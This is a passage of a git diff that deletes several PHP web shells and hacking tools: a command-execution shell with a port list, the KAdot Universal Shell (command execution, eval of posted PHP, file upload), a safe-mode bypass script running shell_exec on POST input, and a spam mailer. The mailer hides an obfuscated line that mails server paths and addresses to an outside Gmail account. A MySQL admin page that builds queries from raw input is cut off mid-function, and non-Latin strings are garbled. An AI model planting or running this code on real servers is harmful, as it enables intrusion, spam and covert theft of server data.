"Apple VirtualUser"; -$port[5555] = "Personal Agent"; -$port[5631] = "PCAnywhere data"; -$port[5632] = "PCAnywhere"; -$port[5678] = "Remote Replication Agent Connection"; -$port[5800] = "VNC"; -$port[5801] = "VNC"; -$port[5900] = "VNC"; -$port[5901] = "VNC"; -$port[6000] = "X Windows"; -$port[6112] = "BattleNet"; -$port[6502] = "Netscape Conference"; -$port[6667] = "IRC"; -$port[6670] = "VocalTec Internet Phone, DeepThroat"; -$port[6699] = "napster"; -$port[6776] = "Sub7"; -$port[6970] = "RTP"; -$port[7007] = "MSBD, Windows Media encoder"; -$port[7070] = "RealServer/QuickTime"; -$port[7777] = "cbt"; -$port[7778] = "Unreal"; -$port[7648] = "CU-SeeMe"; -$port[7649] = "CU-SeeMe"; -$port[8000] = "iRDMI/Shoutcast Server"; -$port[8010] = "WinGate 2.1"; -$port[8080] = "HTTP"; -$port[8181] = "HTTP"; -$port[8383] = "IMail WWW"; -$port[8875] = "napster"; -$port[8888] = "napster"; -$port[8889] = "Desktop Data TCP 1"; -$port[8890] = "Desktop Data TCP 2"; -$port[8891] = "Desktop Data TCP 3: NESS application"; -$port[8892] = "Desktop Data TCP 4: FARM product"; -$port[8893] = "Desktop Data TCP 5: NewsEDGE/Web application"; -$port[8894] = "Desktop Data TCP 6: COAL application"; -$port[9000] = "CSlistener"; -$port[10008] = "cheese worm"; -$port[11371] = "PGP 5 Keyserver"; -$port[13223] = "PowWow"; -$port[13224] = "PowWow"; -$port[14237] = "Palm"; -$port[14238] = "Palm"; -$port[18888] = "LiquidAudio"; -$port[21157] = "Activision"; -$port[22555] = "Vocaltec Web Conference"; -$port[23213] = "PowWow"; -$port[23214] = "PowWow"; -$port[23456] = "EvilFTP"; -$port[26000] = "Quake"; -$port[27001] = "QuakeWorld"; -$port[27010] = "Half-Life"; -$port[27015] = "Half-Life"; -$port[27960] = "QuakeIII"; -$port[30029] = "AOL Admin"; -$port[31337] = "Back Orifice"; -$port[32777] = "rpc.walld"; -$port[45000] = "Cisco NetRanger postofficed"; -$port[32773] = "rpc bserverd"; -$port[32776] = "rpc.spray"; -$port[32779] = "rpc.cmsd"; -$port[38036] = "timestep"; -$port[40193] = "Novell"; -$port[41524] = "arcserve discovery"; -//////////////////////////////////////////////////////////////////////////////// -////////////////////////////////�������///////////////////////////////////////// -/////////////////////////////////////////////////////////////////////////////// -function rep_char($ch,$count) //���������� ������� -{ - $res=""; - for($i=0; $i<=$count; ++$i){ - $res.=$ch.""; - } - return $res; -} -function ex($comd) //���������� ������� -{ - $res = ''; - if (!empty($comd)){ - if(function_exists('exec')){ - exec($comd,$res); - $res=implode("\n",$res); - }elseif(function_exists('shell_exec')){ - $res=shell_exec($comd); - }elseif(function_exists('system')){ - ob_start(); - system($comd); - $res=ob_get_contents(); - ob_end_clean(); - }elseif(function_exists('passthru')){ - ob_start(); - passthru($comd); - $res=ob_get_contents(); - ob_end_clean(); - }elseif(is_resource($f=popen($comd,"r"))){ - $res = ""; - while(!feof($f)) { $res.=fread($f,1024); } - pclose($f); - } - } - return $res; -} -function sysinfo() //����� SYSINFO -{ - global $curl_on, $dis_func, $mysql_stat, $safe_mode, $server, $HTTP_SERVER_VARS; - echo(" System information:
-
"); - echo (($safe_mode)?("Safe Mode:
ON "): - ("Safe Mode: OFF ")); - $row_dis_func=explode(', ',$dis_func); - echo ("PHP: ".phpversion()." "); - echo ("MySQL: "); - if($mysql_stat){ - echo "ON "; - } - else { - echo "OFF "; - } - echo "cURL: "; - if($curl_on){ - echo "ON
"; - }else - echo "OFF
"; - if ($dis_func!=""){ - echo "Disabled Functions:
".$dis_func."
"; - } - $uname=ex('uname -a'); - echo "OS: "; - if (empty($uname)){ - echo (php_uname()."
"); - }else - echo $uname."

"; - $id = ex('id'); - echo "SERVER: ".$server."
"; - echo "id: "; - if (!empty($id)){ - echo $id."
"; - }else - echo "user=".@get_current_user()." uid=".@getmyuid()." gid=".@getmygid(). - "

"; - echo "RemoteAddress:".$HTTP_SERVER_VARS['REMOTE_ADDR']."
"; - if(isset($HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'])){ - echo "RemoteAddressIfProxy:".$HTTP_SERVER_VARS['HTTP_X_FORWARDED_FOR'].""; - } - echo "
"; - echo "
"; -} -function read_dir($dir) //������ ����� -{ - $d=opendir($dir); - $i=0; - while($r=readdir($d)){ - $res[$i]=$r; - $i++; - } - return $res; -} -function permissions($mode,$file) { //����������� ������� - $type=filetype($file); - $perms=$type[0]; - $perms.=($mode & 00400) ? "r" : "-"; - $perms.=($mode & 00200) ? "w" : "-"; - $perms.=($mode & 00100) ? "x" : "-"; - $perms.=($mode & 00040) ? "r" : "-"; - $perms.=($mode & 00020) ? "w" : "-"; - $perms.=($mode & 00010) ? "x" : "-"; - $perms.=($mode & 00004) ? "r" : "-"; - $perms.=($mode & 00002) ? "w" : "-"; - $perms.=($mode & 00001) ? "x" : "-"; - $perms.="(".$mode.")"; - return $perms; -} -function open_file($fil, $m, $d) //������� ���� -{ - if (!($fp=fopen($fil,$m))) { - $res="Error opening file!\n"; - }else{ - ob_start(); - readfile($fil); - $res=ob_get_contents(); - ob_end_clean(); - if (!(fclose($fp))){ - $res="ERROR CLOSE"; - } - } - echo "
"; - echo ""; - echo ""; - echo ""; - echo "$tend"; -break; - - -//PHP Eval Code execution -case "eval": - -echo <<PHP Eval Code -
".$fil."
- - - - - - - -$tend -HTML; - -if (isset($_POST['ephp'])){ -eval($_POST['ephp']); -} -break; - - -//Text tools -case "tools": - -echo <<Tools -
- - - - - - - - - -$tend -HTML; - -if (!empty($_POST['tot']) && !empty($_POST['tac'])) { - -switch($_POST['tac']) { - -case "1": -echo "��������������� �����:" .base64_decode($_POST['tot']). ""; -break; - -case "2": -echo "������������ �����:" .base64_encode($_POST['tot']). ""; -break; - -case "3": -echo "������������ �����:" .md5($_POST['tot']). ""; -break; -}} -break; - - -// Uploading -case "upload": - -echo <<File Upload -
-B64 Decode
-B64 Encode

-md5 Hash -
- - - - - - - - - -$tend -HTML; - -if (isset($_POST['path'])){ - -$uploadfile = $_POST['path'].$_FILES['file']['name']; -if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} - -if (copy($_FILES['file']['tmp_name'], $uploadfile)) { - echo "����� ������� �������� � ����� $uploadfile\n"; - echo "���:" .$_FILES['file']['name']. "\n"; - echo "������:" .$_FILES['file']['size']. "\n"; - -} else { - print "�� ������ ��������� �����. ����:\n"; - print_r($_FILES); -} -} -break; - - -// Whois -case "whois": -echo <<Whois -
�����:
�����:
- - - - - - - - - - - -$tend -HTML; - -if (isset($_POST['wq']) && $_POST['wq']<>"") { - -if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; - -$querty = $_POST['wq']."\r\n"; -$fp = fsockopen($wser, 43); - -if (!$fp) {echo "�� ���� ������� �����";} else { -fputs($fp, $querty); -while(!feof($fp)){echo fgets($fp, 4000);} -fclose($fp); -}} -break; - - -} -?> - - - \ No newline at end of file diff --git a/KAdot_Universal_Shell_v0.1.6.php b/KAdot_Universal_Shell_v0.1.6.php deleted file mode 100644 index 69bdbbe..0000000 --- a/KAdot_Universal_Shell_v0.1.6.php +++ /dev/null @@ -1,230 +0,0 @@ - - - - -KA_uShell 0.1.6 - - - - -
�����:
���� ������:
- -




"; - -// Configuration -$login = "admin"; -$pass = "123"; - - -/*/ Authentication -if (!isset($_SERVER['PHP_AUTH_USER'])) { -header('WWW-Authenticate: Basic realm="KA_uShell"'); -header('HTTP/1.0 401 Unauthorized'); -exit;} - -else { -if(empty($_SERVER['PHP_AUTH_PW']) || $_SERVER['PHP_AUTH_PW']<>$pass || empty($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']<>$login) -{ echo "��� ����?"; exit;} -} -*/ - - - -if (!empty($_GET['ac'])) {$ac = $_GET['ac'];} -elseif (!empty($_POST['ac'])) {$ac = $_POST['ac'];} -else {$ac = "shell";} - -// Menu -echo " -|Shell| -|File Upload| -|Tools| -|PHP Eval Code| -|Whois| -


";
-
-
-switch($ac) {
-
-// Shell
-case "shell":
-
-echo <<Shell
-
-
-
-
-$tend";
-break;
-
-
-//PHP Eval Code execution
-case "eval":
-
-echo <<PHP Eval Code
-
-$$sern -
-
- - - - - - - -$tend -HTML; - -if (isset($_POST['ephp'])){ -eval($_POST['ephp']); -} -break; - - -//Text tools -case "tools": - -echo <<Tools -
- - - - - - - - - -$tend -HTML; - -if (!empty($_POST['tot']) && !empty($_POST['tac'])) { - -switch($_POST['tac']) { - -case "1": -echo "��������������� �����:" .base64_decode($_POST['tot']). ""; -break; - -case "2": -echo "������������ �����:" .base64_encode($_POST['tot']). ""; -break; - -case "3": -echo "������������ �����:" .md5($_POST['tot']). ""; -break; -}} -break; - - -// Uploading -case "upload": - -echo <<File Upload -
-B64 Decode
-B64 Encode

-md5 Hash -
- - - - - - - - - -$tend -HTML; - -if (isset($_POST['path'])){ - -$uploadfile = $_POST['path'].$_FILES['file']['name']; -if ($_POST['path']==""){$uploadfile = $_FILES['file']['name'];} - -if (copy($_FILES['file']['tmp_name'], $uploadfile)) { - echo "����� ������� �������� � ����� $uploadfile\n"; - echo "���:" .$_FILES['file']['name']. "\n"; - echo "������:" .$_FILES['file']['size']. "\n"; - -} else { - print "�� ������ ��������� �����. ����:\n"; - print_r($_FILES); -} -} -break; - - -// Whois -case "whois": -echo <<Whois -
�����:
�����:
- - - - - - - - - - - -$tend -HTML; - -if (isset($_POST['wq']) && $_POST['wq']<>"") { - -if (empty($_POST['wser'])) {$wser = "whois.ripe.net";} else $wser = $_POST['wser']; - -$querty = $_POST['wq']."\r\n"; -$fp = fsockopen($wser, 43); - -if (!$fp) {echo "�� ���� ������� �����";} else { -fputs($fp, $querty); -while(!feof($fp)){echo fgets($fp, 4000);} -fclose($fp); -}} -break; - - -} -?> - - - diff --git a/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php b/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php deleted file mode 100644 index 06a3035..0000000 --- a/Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit.php +++ /dev/null @@ -1,34 +0,0 @@ -Liz0ziM Private Safe Mode Command Execuriton Bypass Exploit
"; -print_r(' -
-
-Komut :
-
-
-H�zl� Men� :=) : - -
-'); -ini_restore("safe_mode"); -ini_restore("open_basedir"); -$liz0=shell_exec($_POST[baba]); -$liz0zim=shell_exec($_POST[liz0]); -$uid=shell_exec('id'); -$server=shell_exec('uname -a'); -echo "

"; -echo "Kimim Ben :=):$uid
"; -echo "Server:$server
"; -echo "Komut Sonu�lar�:
"; -echo $liz0; -echo $liz0zim; -echo "

"; -?> \ No newline at end of file diff --git a/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php b/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php deleted file mode 100644 index 2865e14..0000000 --- a/Moroccan_Spamers_Ma-EditioN_By_GhOsT.php +++ /dev/null @@ -1,182 +0,0 @@ - -
-
-
-
�����:
���� ������:
- -
- - - -
-
-
- - - - -
-

-
- - - - -
- - - - - - - - - - - - - - - - - - - - - - -
-

Moroccan Spamers Ma-EditioN By GhOsT

-
Your -Email:
-
-
Your -Name:
-
- -
-
Reply-To:
-
-
Attach -File:
-
- -
-
Subject:
-
- -
-
- - - - -
- -
- -Plain - -HTML - - -
-
-
-
-
- - - - -
-

-
-

-
-
-
-
-
-
-
-
-
-
-
-
-
- - - - -
-

Designed by: - v1.5

-
-
- - -\r\nReply-To: $replyto\r\n"; -$header .= "MIME-Version: 1.0\r\n"; -If ($file_name) $header .= "Content-Type: multipart/mixed; boundary=$uid\r\n"; -If ($file_name) $header .= "--$uid\r\n"; -$header .= "Content-Type: text/$contenttype\r\n"; -$header .= "Content-Transfer-Encoding: 8bit\r\n\r\n"; -$header .= "$message\r\n"; -If ($file_name) $header .= "--$uid\r\n"; -If ($file_name) $header .= "Content-Type: $file_type; name=\"$file_name\"\r\n"; -If ($file_name) $header .= "Content-Transfer-Encoding: base64\r\n"; -If ($file_name) $header .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n\r\n"; $ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98"); -If ($file_name) $header .= "$content\r\n"; -If ($file_name) $header .= "--$uid--"; -mail($to, $subject, "", $header); -print "Spamed'>
"; -flush(); -} -} - -} -?> - - - - - - - diff --git a/MySQL Web Interface Version 0.8.php b/MySQL Web Interface Version 0.8.php deleted file mode 100644 index a106ddf..0000000 --- a/MySQL Web Interface Version 0.8.php +++ /dev/null @@ -1,1302 +0,0 @@ -\n"; - echo "\n"; - echo "MySQL Web Interface\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - echo "
\n"; - echo "

MySQL Web Interface

\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Username
Password

\n"; - echo "\n"; - echo "
\n"; - echo "

\n"; - echo "
\n"; - echo "
\n"; - echo "


\n"; - echo "\n"; - echo "Copyleft © since 1999,\n"; - echo "SooMin Kim
\n"; - echo "Hompage is -available
"; - echo "
\n"; - echo "
\n"; - echo "\n"; - echo "\n"; -} - -function logon_submit() { - global $username, $password, $PHP_SELF; - - setcookie( "mysql_web_admin_username", $username ); - setcookie( "mysql_web_admin_password", $password ); - echo ""; - echo ""; - echo ""; - echo ""; - echo ""; -} - -function echoQueryResult() { - global $queryStr, $errMsg; - - if( $errMsg == "" ) $errMsg = "Success"; - if( $queryStr != "" ) { - echo "\n"; - echo "\n"; - echo "\n"; - echo "
Query$queryStr
Result$errMsg

\n"; - } -} - -function listDatabases() { - global $mysqlHandle, $PHP_SELF; - - echo "

Database List

\n"; - - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - - echo "\n"; - - $pDB = mysql_list_dbs( $mysqlHandle ); - $num = mysql_num_rows( $pDB ); - for( $i = 0; $i < $num; $i++ ) { - $dbname = mysql_dbname( $pDB, $i ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - } - echo "
$dbnameTableDropDump
\n"; -} - -function createDatabase() { - global $mysqlHandle, $dbname, $PHP_SELF; - - mysql_create_db( $dbname, $mysqlHandle ); - listDatabases(); -} - -function dropDatabase() { - global $mysqlHandle, $dbname, $PHP_SELF; - - mysql_drop_db( $dbname, $mysqlHandle ); - listDatabases(); -} - -function listTables() { - global $mysqlHandle, $dbname, $PHP_SELF; - - echo "

Table List

\n"; - echo "

$dbname

\n"; - echoQueryResult(); - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "
\n"; - echo "
\n"; - echo "\n"; - echo "\n"; - echo "\n"; - //echo "
"; - echo "\n"; - echo "
\n"; - echo "
\n"; - - $pTable = mysql_list_tables( $dbname ); - - if( $pTable == 0 ) { - $msg = mysql_error(); - echo "

Error : $msg

\n"; - return; - } - $num = mysql_num_rows( $pTable ); - - echo "\n"; - - for( $i = 0; $i < $num; $i++ ) { - $tablename = mysql_tablename( $pTable, $i ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - } - - echo "
\n"; - echo "$tablename\n"; - echo "\n"; - echo "Schema\n"; - echo "\n"; - echo "Data\n"; - echo "\n"; - echo "Drop\n"; - echo "\n"; - echo "Dump\n"; - echo "
"; -} - -function createTable() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - $queryStr = "CREATE TABLE $tablename ( no INT )"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - listTables(); -} - -function dropTable() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - $queryStr = "DROP TABLE $tablename"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - listTables(); -} - -function viewSchema() { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, -$errMsg; - - echo "

Table Schema

\n"; - echo "

$dbname > $tablename

\n"; - - echoQueryResult(); - - echo "Add -Field | \n"; - echo "View -Data\n"; - echo "
\n"; - - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - $fieldname = $field["Field"]; - echo "\n"; - echo "\n"; - echo "\n"; - } - echo "
FieldTypeNullKeyDefaultExtraAction
".$field["Field"]."".$field["Type"]."".$field["Null"]."".$field["Key"]."".$field["Default"]."".$field["Extra"]."EditDrop
\n"; -} - -function manageField( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; - - if( $cmd == "add" ) - echo "

Add Field

\n"; - else if( $cmd == "edit" ) { - echo "

Edit Field

\n"; - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - if( $field["Field"] == $fieldname ) { - $fieldtype = $field["Type"]; - $fieldkey = $field["Key"]; - $fieldextra = $field["Extra"]; - $fieldnull = $field["Null"]; - $fielddefault = $field["Default"]; - break; - } - } - $type = strtok( $fieldtype, " (,)\n" ); - if( strpos( $fieldtype, "(" ) ) { - if( $type == "enum" | $type == "set" ) { - $valuelist = strtok( " ()\n" ); - } else { - $M = strtok( " (,)\n" ); - if( strpos( $fieldtype, "," ) ) - $D = strtok( " (,)\n" ); - } - } - } - - echo "

$dbname > $tablename

\n"; - echo "
\n"; - - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) { - echo "\n"; - echo "\n"; - } - echo "\n"; - echo "\n"; - - echo "

Name

\n"; - echo "

\n"; -?> - -

Type

- - -* `M' indicates the maximum display size.
-* `D' applies to floating-point types and indicates the number of -digits -following the decimal point.
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Type M  D unsignedzerofillbinary
>TINYINT (-128 ~ 127)O OO 
>SMALLINT (-32768 ~ 32767)O OO 
>MEDIUMINT (-8388608 ~ 8388607)O OO 
>INT (-2147483648 ~ 2147483647)O OO 
>BIGINT (-9223372036854775808 ~ -9223372036854775807)O OO 
>FLOATOO O 
>DOUBLEOO O 
>DECIMAL(NUMERIC)OO O 
>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)     
>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 -23:59:59, -YYYY-MM-DD HH:MM:SS)     
>TIMESTAMP (1970-01-01 00:00:00 ~ -2106..., -YYYYMMDD[HH[MM[SS]]])O    
>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)     
>YEAR (1901 ~ 2155, 0000, YYYY)     
>CHARO   O
>VARCHARO   O
>TINYTEXT (0 ~ 255)     
>TEXT (0 ~ 65535)     
>MEDIUMTEXT (0 ~ 16777215)     
>LONGTEXT (0 ~ 4294967295)     
>TINYBLOB (0 ~ 255)     
>BLOB (0 ~ 65535)     
>MEDIUMBLOB (0 ~ 16777215)     
>LONGBLOB (0 ~ 4294967295)     
>ENUM
value list
>SET
value list
- - - - - - - - - - -
MDunsignedzerofillbinaryvalue -list (ex: 'apple', 'orange', 'banana')
>>>>>>
- - -

Flags

- - - - - - - - -
not nulldefault valueauto -incrementprimary key
>>>>
- -

- -\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "

\n"; -} - -function manageField_submit( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, -$PHP_SELF, $queryStr, $errMsg, - $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, -$auto_increment, $primary_key, $valuelist; - - if( $cmd == "add" ) - $queryStr = "ALTER TABLE $tablename ADD $name "; - else if( $cmd == "edit" ) - $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; - - if( $M != "" ) - if( $D != "" ) - $queryStr .= "$type($M,$D) "; - else - $queryStr .= "$type($M) "; - else if( $valuelist != "" ) { - $valuelist = stripslashes( $valuelist ); - $queryStr .= "$type($valuelist) "; - } else - $queryStr .= "$type "; - - $queryStr .= "$unsigned $zerofill $binary "; - - if( $default_value != "" ) - $queryStr .= "DEFAULT '$default_value' "; - - $queryStr .= "$not_null $auto_increment"; - - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - // key change - $keyChange = false; - $result = mysql_query( "SHOW KEYS FROM $tablename" ); - $primary = ""; - while( $row = mysql_fetch_array($result) ) - if( $row["Key_name"] == "PRIMARY" ) { - if( $row[Column_name] == $name ) - $keyChange = true; - else - $primary .= ", $row[Column_name]"; - } - if( $primary_key == "PRIMARY KEY" ) { - $primary .= ", $name"; - $keyChange = !$keyChange; - } - $primary = substr( $primary, 2 ); - if( $keyChange == true ) { - $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; - mysql_query( $q ); - $queryStr .= "
\n" . $q; - $errMsg .= "
\n" . mysql_error(); - } - - viewSchema(); -} - -function dropField() { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; - mysql_select_db( $dbname, $mysqlHandle ); - mysql_query( $queryStr , $mysqlHandle ); - $errMsg = mysql_error(); - - viewSchema(); -} - -function viewData( $queryStr ) { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, -$rowperpage, $orderby; - - echo "

Data in Table

\n"; - if( $tablename != "" ) - echo "

$dbname > $tablename

\n"; - else - echo "

$dbname

\n"; - - $queryStr = stripslashes( $queryStr ); - if( $queryStr == "" ) { - $queryStr = "SELECT * FROM $tablename"; - if( $orderby != "" ) - $queryStr .= " ORDER BY $orderby"; - echo "Add -Data | \n"; - echo "Schema\n"; - } - - $pResult = mysql_db_query( $dbname, $queryStr ); - $errMsg = mysql_error(); - - $GLOBALS[queryStr] = $queryStr; - - if( $pResult == false ) { - echoQueryResult(); - return; - } - if( $pResult == 1 ) { - $errMsg = "Success"; - echoQueryResult(); - return; - } - - echo "
\n"; - - $row = mysql_num_rows( $pResult ); - $col = mysql_num_fields( $pResult ); - - if( $row == 0 ) { - echo "No Data Exist!"; - return; - } - - if( $rowperpage == "" ) $rowperpage = 20; - if( $page == "" ) $page = 0; - else $page--; - mysql_data_seek( $pResult, $page * $rowperpage ); - - echo "\n"; - echo "\n"; - for( $i = 0; $i < $col; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - echo "\n"; - } - echo "\n"; - echo "\n"; - - for( $i = 0; $i < $rowperpage; $i++ ) { - $rowArray = mysql_fetch_row( $pResult ); - if( $rowArray == false ) break; - echo "\n"; - $key = ""; - for( $j = 0; $j < $col; $j++ ) { - $data = $rowArray[$j]; - - $field = mysql_fetch_field( $pResult, $j ); - if( $field->primary_key == 1 ) - $key .= "&" . $field->name . "=" . $data; - - if( strlen( $data ) > 20 ) - $data = substr( $data, 0, 20 ) . "..."; - $data = htmlspecialchars( $data ); - echo "\n"; - } - - if( $key == "" ) - echo "\n"; - else { - echo "\n"; - echo "\n"; - } - echo "\n"; - } - echo "
"; - echo "".$field->name."\n"; - echo "Action
\n"; - echo "$data\n"; - echo "no KeyEditDelete
\n"; - - echo "\n"; - echo "
\n"; - echo "\n"; - echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; - echo "\n"; - echo " | "; - if( $page > 0 ) { - echo "Prev\n"; - } else - echo "Prev"; - echo " | "; - if( $page < ($row/$rowperpage)-1 ) { - echo "Next\n"; - } else - echo "Next"; - echo " | "; - if( $row > $rowperpage ) { - echo "\n"; - echo "\n"; - } - echo "
\n"; - echo "
\n"; -} - -function manageData( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $PHP_SELF; - - if( $cmd == "add" ) - echo "

Add Data

\n"; - else if( $cmd == "edit" ) { - echo "

Edit Data

\n"; - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE -$key", $mysqlHandle ); - $data = mysql_fetch_array( $pResult ); - } - - echo "

$dbname > $tablename

\n"; - - echo "
\n"; - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - echo "\n"; - - $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); - $num = mysql_num_rows( $pResult ); - - $pResultLen = mysql_list_fields( $dbname, $tablename ); - - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_array( $pResult ); - $fieldname = $field["Field"]; - $fieldtype = $field["Type"]; - $len = mysql_field_len( $pResultLen, $i ); - - echo ""; - echo ""; - echo ""; - echo "\n"; - $value = htmlspecialchars($data[$i]); - if( $cmd == "add" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo "\n"; - } else { - if( $len < 40 ) - echo "\n"; - else - echo ""; - } - echo "
NameTypeFunctionData
$fieldname".$field["Type"]."\n"; - echo "\n"; - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - echo "\n"; - } - } else if( $cmd == "edit" ) { - $type = strtok( $fieldtype, " (,)\n" ); - if( $type == "enum" || $type == "set" ) { - echo "\n"; - if( $type == "enum" ) - echo "\n"; - echo strtok( "'" ); - while( $str = strtok( "'" ) ) { - if( $value == $str ) - echo "\n"; - } - } - echo "

\n"; - if( $cmd == "add" ) - echo "\n"; - else if( $cmd == "edit" ) - echo "\n"; - echo "\n"; - echo "

\n"; -} - -function manageData_submit( $cmd ) { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - mysql_select_db( $dbname, $mysqlHandle ); - if( $cmd == "add" ) - $queryStr = "INSERT INTO $tablename VALUES ("; - else if( $cmd == "edit" ) - $queryStr = "REPLACE INTO $tablename VALUES ("; - for( $i = 0; $i < $num-1; $i++ ) { - $field = mysql_fetch_field( $pResult ); - $func = $GLOBALS[$field->name."_function"]; - if( $func != "" ) - $queryStr .= " $func("; - if( $field->numeric == 1 ) { - $queryStr .= $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "),"; - else - $queryStr .= ","; - } else { - $queryStr .= "'" . $GLOBALS[$field->name]; - if( $func != "" ) - $queryStr .= "'),"; - else - $queryStr .= "',"; - } - } - $field = mysql_fetch_field( $pResult ); - if( $field->numeric == 1 ) - $queryStr .= $GLOBALS[$field->name] . ")"; - else - $queryStr .= "'" . $GLOBALS[$field->name] . "')"; - - mysql_query( $queryStr , $mysqlHandle ); - $errMsg = mysql_error(); - - viewData( "" ); -} - -function deleteData() { - global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, -$queryStr, -$errMsg; - - $pResult = mysql_list_fields( $dbname, $tablename ); - $num = mysql_num_fields( $pResult ); - - $key = ""; - for( $i = 0; $i < $num; $i++ ) { - $field = mysql_fetch_field( $pResult, $i ); - if( $field->primary_key == 1 ) - if( $field->numeric == 1 ) - $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; - else - $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; - } - $key = substr( $key, 0, strlen($key)-4 ); - - mysql_select_db( $dbname, $mysqlHandle ); - $queryStr = "DELETE FROM $tablename WHERE $key"; - mysql_query( $queryStr, $mysqlHandle ); - $errMsg = mysql_error(); - - viewData( "" ); -} - -function dump() { - global $PHP_SELF, $USERNAME, $PASSWORD, $action, $dbname, 